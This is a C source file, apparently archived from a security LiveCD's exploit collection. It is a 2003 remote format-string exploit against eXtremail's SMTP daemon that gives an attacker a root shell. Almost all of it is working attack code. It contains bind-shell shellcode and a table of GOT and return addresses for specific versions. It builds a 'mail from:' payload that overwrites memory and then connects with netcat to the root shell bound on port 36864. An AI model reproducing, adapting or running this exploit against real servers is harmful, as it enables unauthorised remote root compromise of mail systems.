home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / extremail / eXtreme.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  292 lines

  1. /*     Remote Format Strings Exploit for eXtremail latest versions.     */
  2. /*     ============================================================     */
  3. /*                                    */
  4. /*                  By B-r00t <br00t@blueyonder.co.uk>           */         
  5. /*                                                                   */
  6. /*    Date:        02/07/2003                    */
  7. /*    Reference:      http://www.extremail.com/            */
  8. /*    Versions:       Linux eXtremail-1.5-8 => VULNERABLE        */
  9. /*            Linux eXtremail-1.5-5 => VULNERABLE        */            
  10. /*                                    */
  11. /*    Exploit: eXtreme.c                        */
  12. /*     Compile: gcc -o eXtreme eXtreme.c                */
  13. /*                                    */
  14. /*    Exploit uses format strings bug in fLog() of smtpd to bind a     */
  15. /*    r00tshell to port 36864 on the target eXtremail server.        */
  16. /*                                    */
  17. /*    Methods of exploitation.                    */
  18. /*    ------------------------                    */
  19. /*     eXtremail-1.5-5.i686.rpm use format strings bug to overwrite    */
  20. /*    GOT of fflush() to point to shellcode.                */
  21. /*                                    */
  22. /*    eXtremail-1.5-8.i586.rpm is a static binary so its not        */
  23. /*    possible to abuse GOT. Saved RET address is overwritten        */
  24. /*    to point to shellcode.                        */
  25. /*                                    */
  26. /*    New Releases with old bugs? => FIX IT!                */
  27. /*                                    */
  28. /*    THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!            */
  29. /*                                    */
  30.  
  31. #include <stdlib.h>
  32. #include <stdio.h>
  33. #include <string.h>
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <arpa/inet.h>
  38. #include <unistd.h>
  39.  
  40. #define EXPLOIT "eXtreme"
  41. #define DEST_PORT 25
  42.  
  43. // Prototypes
  44. int get_sock (char *host);
  45. int send_sock (char *stuff);
  46. int read_sock (void);
  47. void usage (void);
  48. int do_it (void);
  49.  
  50. // Globals
  51. int socketfd, choice;
  52. unsigned long GOT, RET;
  53. char *myip;
  54. char helo[] = "HELO Br00t~R0x~Y3r~W0rld!\n";
  55. char shellcode[] = 
  56. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  57. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  58. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  59. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  60. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  61. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  62. "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  63. "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  64. "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  65. "\x80\x43\xc6\x46\x10\x10\x88\x46"
  66. "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  67. "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  68. "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  69. "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  70. "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  71. "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  72. "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  73. "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  74. "\x80\x88\x56\x07\x89\x76\x0c\x87"
  75. "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  76. "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
  77. "\x6e\x2f\x73\x68";
  78.  
  79.  
  80. struct {
  81.         char *systemtype;
  82.         unsigned long got;
  83.         unsigned long ret;
  84.         int pad;
  85.         int buf;
  86.         int pos;
  87. } targets[] = {
  88.     // Confirmed targets tested by B-r00t.
  89.         { "RedHat 7.2 eXtremail V1.5 release 5 (eXtremail-1.5-5.i686.rpm)",   0x0813b19c, 0xbefff1e8, 1, 266, 44},
  90.         { "Linux ANY eXtremail V1.5 release 5 (eXtremail-1.5-5.tar.gz)",   0x0813b19c, 0xbefff1b8, 1, 266, 44},
  91.     { "Linux ANY eXtremail V1.5 release 7 (ALL VERSIONS)",   0xbefff0c8, 0xbefff1d4, 1, 266, 44},
  92.         { "eXtremail V1.5 DEBUG",   0x44434241, 0xaaaaaaaa, 1, 266, 44},
  93.         { 0 } 
  94.     };
  95.  
  96. int main ( int argc, char *argv[] )
  97. {
  98. char *TARGET = "TARGET";
  99.  
  100. printf ("\n%s by B-r00t <br00t@blueyonder.co.uk>. (c) 2003\n", EXPLOIT);
  101.  
  102. if (argc < 3) 
  103. usage ();
  104.  
  105. choice = atoi(argv[2]);
  106. if (choice < 0 || choice > 3) 
  107. usage ();
  108.  
  109. setenv (TARGET, argv[1], 1);
  110.  
  111. get_sock(argv[1]);
  112. sleep (1);
  113. read_sock ();
  114. sleep (1);
  115. send_sock (helo);
  116. sleep (1);
  117. read_sock ();
  118. sleep(1);
  119. do_it ();
  120. }
  121.  
  122.  
  123. void usage (void)
  124. {
  125.         int loop;
  126.     printf ("\nUsage: %s [IP_ADDRESS] [TARGET]", EXPLOIT);
  127.         printf ("\nExample: %s 10.0.0.1 2 \n", EXPLOIT);
  128.     for (loop = 0; targets[loop].systemtype; loop++)
  129.             printf ("\n%d\t%s", loop, targets[loop].systemtype);
  130.         printf ("\n\nOn success a r00tshell will be spawned on port 36864.\n\n");
  131.     exit (-1);
  132.         }
  133.  
  134.  
  135. int get_sock (char *host) 
  136. {
  137. struct sockaddr_in dest_addr;
  138.  
  139. if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  140.         perror("Socket Error!\n");
  141.         exit (-1);
  142.         }
  143.  
  144. dest_addr.sin_family = AF_INET;
  145. dest_addr.sin_port = htons(DEST_PORT);
  146. if (! inet_aton(host, &(dest_addr.sin_addr))) {
  147.         perror("inet_aton problems\n");
  148.         exit (-2);
  149.         }
  150.  
  151. memset( &(dest_addr.sin_zero), '\0', 8);
  152. if (connect (socketfd, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
  153.         perror("Connect failed!\n");
  154.         close (socketfd);
  155.         exit (-3);
  156.         }
  157. printf ("\n\nConnected to %s\n", host);
  158. }
  159.  
  160.  
  161.  
  162. int send_sock (char *stuff) 
  163. {
  164.     int bytes;
  165.         bytes = (send (socketfd, stuff, strlen(stuff), 0));
  166.         if (bytes == -1) {
  167.         perror("Send error");
  168.         close (socketfd);
  169.         exit(4);
  170.     }
  171. printf ("Send:\t%s", stuff);
  172. return bytes;
  173. }
  174.  
  175.  
  176. int read_sock (void) 
  177. {
  178.         int bytes;
  179.     char buffer[200];
  180.     char *ptr;
  181.     ptr = buffer;
  182.     memset (buffer, '\0', sizeof(buffer));
  183.         bytes = (recv (socketfd, ptr, sizeof(buffer), 0));
  184.         if (bytes == -1) {
  185.         perror("send error");
  186.         close (socketfd);
  187.         exit(4);
  188.     }
  189. printf ("Recv:\t%s", buffer);
  190. return bytes;
  191. }
  192.  
  193.  
  194. int do_it (void)
  195. {
  196. char format[200], buf[500], *bufptr, *p;
  197. int loop, sofar = 0;
  198. int PAD = targets[choice].pad;
  199. int POS = targets[choice].pos;
  200. unsigned char r[3], g[3], w[3];
  201.  
  202. RET = targets[choice].ret;
  203. r[0] = (int) (RET & 0x000000ff);
  204. r[1] = (int)((RET & 0x0000ff00) >> 8);
  205. r[2] = (int)((RET & 0x00ff0000) >> 16);
  206. r[3] = (int)((RET & 0xff000000) >> 24);
  207.  
  208. GOT = targets[choice].got;
  209. g[0] = (int) (GOT & 0x000000ff);
  210. g[1] = (int)((GOT & 0x0000ff00) >> 8);
  211. g[2] = (int)((GOT & 0x00ff0000) >> 16);
  212. g[3] = (int)((GOT & 0xff000000) >> 24);
  213.  
  214.  
  215. // Start buf
  216. bufptr = buf;
  217. bzero (bufptr, sizeof(buf));
  218. strncpy (buf, "mail from: ", strlen("mail from: "));
  219. sofar = 19;
  220.  
  221. // Do padding
  222. for (loop=0; loop<PAD; loop++)
  223. strncat (buf, "a", 1);
  224. sofar = sofar+PAD;
  225.  
  226. //1st GOT addy
  227. strncat (buf, g, 4);
  228.  
  229. //2nd GOT addy
  230. p = &g[0];
  231. (*p)++;
  232. strncat (buf, g, 4);
  233.  
  234. // 3rd GOT addy
  235. p = &g[0];
  236. (*p)++;
  237. strncat (buf, g, 4);
  238.  
  239. // 4th GOT addy
  240. p = &g[0];
  241. (*p)++;
  242. strncat (buf, g, 4);
  243. sofar = sofar+16;
  244.  
  245. for (loop=0; loop<4; loop++) {
  246.                 if (r[loop] > sofar) {
  247.                             w[loop] = r[loop]-sofar;
  248.                             } else
  249.                 if (r[loop] == sofar) {
  250.                             w[loop] = 0;
  251.                             }else
  252.                 if (r[loop] < sofar) {
  253.                             w[loop] = (256-sofar)+r[loop];
  254.                             }
  255.                 sofar = sofar+w[loop];
  256.                 }
  257.  
  258. bufptr = format;
  259. bzero (bufptr, sizeof(format));
  260. sprintf (bufptr, "%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n", w[0], POS, w[1], POS+1, w[2], POS+2, w[3], POS+3);
  261. strncat (buf, format, sizeof(format));
  262. strncat (buf, shellcode, sizeof(shellcode));
  263.  
  264. // Summarise
  265. printf ("\nSystem type:\t\t%s", targets[choice].systemtype);
  266. printf ("\nWrite Addy:\t\t0x%x", GOT);
  267. printf ("\nRET (shellcode):\t0x%x", RET);
  268. printf ("\nPAD (alignment):\t%d", PAD);
  269. printf ("\nPayload:\t\t%d / %d max bytes", strlen(buf), targets[choice].buf);
  270. printf ("\nSending it ... \n");
  271. sleep(1);
  272.  
  273. // Ok lets Wack it!
  274. send_sock (buf);
  275. sleep (1);
  276. close (socketfd);
  277. printf ("\nUsing netcat 'nc' to get the r00tshell on port 36864 ....!!!!!\n\n\n");
  278. sleep(3); // May take time to spawn a shell
  279. system("nc -vv ${TARGET} 36864 || echo 'Sorry Exploit failed!'");
  280. exit (0);
  281. }
  282.  
  283. /*    Shoutz: Marshal-l, Rux0r, blunt, macavity, Monkfish        */
  284. /*              Rewd, Maz. That One Doris ... U-Know-Who-U-R!           */
  285. /*        The doris.scriptkiddie.net posse.            */
  286. /*                                                                      */
  287. /*        B-r00t aka B#. 2003. <br00t@blueyonder.co.uk> (c)               */
  288. /*      "If You Can't B-r00t Then Just B#."                             */
  289. /*                                                                      */
  290. /*     ENJOY!                                                          */
  291.  
  292.